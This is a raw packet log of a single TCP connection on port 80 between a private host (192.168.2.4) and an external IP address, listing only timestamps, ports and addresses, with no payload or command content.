Oct 7, 2024 03:03:10.335095882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335114002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335125923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335131884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335150003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335175037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335197926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335220098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335248947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335264921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335319996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335339069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335355997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335361004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335376978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335376978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335402966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335418940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335441113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335457087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335474014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335478067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335478067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335493088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335510015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335513115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335531950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335532904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335555077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335561037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335591078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335805893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335824966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335850954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335865974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335876942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335886955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335905075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335913897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335922956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335926056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335939884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335942984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335963964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335964918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335980892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.335987091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.335999012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336000919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336019039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336029053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336035967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336036921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336055040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336057901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336076021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336085081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336093903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336100101 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336112022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336116076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336138964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336143017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336153984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336158037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336175919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336182117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336191893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336193085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336211920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336220026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336229086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336230993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336249113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.336266994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.336293936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423666000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423712969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423743963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423749924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423762083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423793077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423794031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423818111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423835039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423839092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423852921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423863888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423870087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423887968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423888922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423904896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423913002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423947096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423949957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423970938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.423990011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.423989058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424009085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424017906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424026012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424026966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424032927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424046040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424052954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424074888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424089909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424108982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424127102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424144030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424148083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424163103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424179077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424202919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424211979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424225092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424235106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424261093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424268007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424310923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424346924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424357891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424365997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424381971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424384117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424402952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424402952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424424887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424426079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424446106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424468040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424469948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424489021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424513102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424514055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424534082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424535990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424555063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424583912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424638033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424655914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424693108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424701929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424725056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424750090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424767017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424786091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424794912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424818993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424827099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424848080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424900055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424902916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424922943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424937963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424938917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424961090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424969912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.424974918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.424977064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425002098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425028086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425079107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425126076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425134897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425153971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425170898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425184965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425188065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425196886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425206900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425209999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425216913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425225019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425246954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425246954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425266027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425267935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425282955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425295115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425301075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425302029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425319910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425324917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425333023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425339937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425359011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425359964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425379038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425390959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425396919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425415039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425493002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425513983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425548077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425559044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425566912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425580978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425585032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425607920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425612926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425632000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425654888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425720930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425740004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425777912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425789118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425796032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425813913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425813913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425832987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425843000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425848961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.425852060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.425877094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426064968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426083088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426115036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426115990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426122904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426134109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426147938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426153898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426172972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426183939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426192999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426203966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426209927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426213026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426229000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426233053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426246881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426264048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426265001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426282883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426289082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426301003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426320076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426321030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426342010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426346064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426358938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426379919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426460028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426477909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426515102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426528931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426532030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426553011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426557064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426570892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426579952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426606894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426609039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426625967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426661968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426673889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426680088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426697969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426697969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426719904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426726103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426753044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426872015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426892042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426908016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426924944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426928997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426944017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426944971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426960945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426970959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426976919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.426979065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.426999092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.427000046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.427016973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.427017927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.427038908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.427040100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.427067995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.427097082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514364004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514408112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514447927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514466047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514477015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514483929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514502048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514502048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514519930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514535904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514539003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514564037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514591932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514684916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514703035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514738083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514749050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514756918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514782906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514800072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514807940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514816999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514834881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514837980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514854908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514863968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514875889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514882088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514892101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514894962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514910936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514926910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514929056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514946938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.514954090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.514976978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515002012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515017033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515033960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515069008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515079975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515103102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515108109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515161037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515167952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515182972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515197039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515199900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515216112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515224934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515233040 CEST	80	49731	46.8.231.109	192.168.2.4
